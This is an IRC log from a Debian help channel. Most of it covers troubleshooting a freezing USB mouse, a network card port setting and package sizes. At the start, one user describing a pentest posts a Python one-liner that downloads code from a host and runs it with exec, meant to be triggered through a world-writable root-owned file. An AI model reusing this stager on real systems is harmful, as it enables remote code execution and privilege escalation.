python123 2017-01-25 22:46:15
hi, Im new to python. I have a scenario from a pentest whereby i have a file with 777 permission that is owned by root and has the group of root. I want to therefore abuse this poor configuration and execute a python reverset tcp payload to my machine. The command i want to execute is python -c "import urllib2; r = urllib2.urlopen('http://192.168.254.10:8080/'); exec(r.read());" This works from the
python123 2017-01-25 22:46:21
command line without any problem i just need to work out how to call it.
jelly 2017-01-25 23:27:34
python123: write the script into the file and execute it?
jelly 2017-01-25 23:27:45
not sure how this is a debian question
carp 2017-01-25 23:29:08
Hi, I am using fresh install of debian jessie. My mouse keeps freezing. It has just done so again. I can still type though. Luckily I had irc already open on a different room. If anyone wants to give me a hand with getting the terminal open and using dmesg to try and work out whats going on that would be great.
carp 2017-01-25 23:29:26
im not sure what all the keyboard shortcuts are etc.
carp 2017-01-25 23:29:45
if i suddenly leave, thats because the whole thing froze.
carp 2017-01-25 23:31:41
I take out the usb mouse and plug it into the front of the tower instead, and its not immediately moving still.
c-c 2017-01-25 23:32:11
hi carp
c-c 2017-01-25 23:32:18
can you $ lsusb
c-c 2017-01-25 23:32:28
or $ lshw
c-c 2017-01-25 23:32:46
also see if errors appear in $ dmesg after plugging/freezing
carp 2017-01-25 23:32:51
i plug in a different mouse and that doesnt work either.
carp 2017-01-25 23:33:17
c-c: Hello. I will try this. ive forgotten the command to get the terminal up with keyboard shortcut
c-c 2017-01-25 23:33:47
carp alt+F2 and type the command for your terminal
missmbob 2017-01-25 23:35:39
you dont care if the keyboard goes away testing something, right?
carp 2017-01-25 23:35:49
c-c: im using gnome3. alt+f2 does bring up a command line, but when i type lsusb (or sudo lsusb) it just disappears. the gnome3 command line is different to the proper terminal window (the whole screen kind of fades to black at the edges and its just a single command line (not a separate window).
c-c 2017-01-25 23:36:15
carp alt+f2, type xterm, then lsusb
c-c 2017-01-25 23:36:27
basically, you need a terminal
carp 2017-01-25 23:36:42
c-c: ok that worked.
carp 2017-01-25 23:39:18
4 devices found, 2 of them are mice. I have a usb corded mouse that i use. I also have a usb dongle for an old mouse plugged in. it has detected both. i will take out the dongle now.
asdfasd 2017-01-25 23:39:29
Guys, I have a physical network card with two ports on it. My system automatically sets portno=0 as default and I can't seem to change it. I can echo changes to the sysfs-file for the portnubmer but these isn't persistent across OS reboots
missmbob 2017-01-25 23:40:18
dont unplug the mouse :P
carp 2017-01-25 23:40:45
lshw gives readout bash command cannot be found
asdfasd 2017-01-25 23:41:06
I've started to look towards the file sysctl.conf for makinjg apersistent change, but when i list the different parameters available for my system with sysctl -a, I cant find a paramter named portno
c-c 2017-01-25 23:41:10
capr well, it probably needs to be apt-get installed
asdfasd 2017-01-25 23:41:11
Anyone can help me in the right direction with this?
missmbob 2017-01-25 23:41:11
yeah there's more going on here. i'm guessing the cpu is overheating
nirvanko 2017-01-25 23:41:32
How can I see the space a particular package takes? I would like to remove all packages that I don't need.
carp 2017-01-25 23:42:42
c-c: ok i installed it and run it. gives a big read out.
missmbob 2017-01-25 23:42:42
nirvanko: you might like this: aptitude search ~i -O installsize -F"%p %I"
c-c 2017-01-25 23:43:06
carp so lshw and lsusb tell you about which devices are detected
c-c 2017-01-25 23:43:23
carp: with dmesg errors it might help to find the problem
carp 2017-01-25 23:43:39
c-c: yep ok ill try dmesg now.
carp 2017-01-25 23:44:04
can i scroll up in the terminal window to read the top part of the readout?
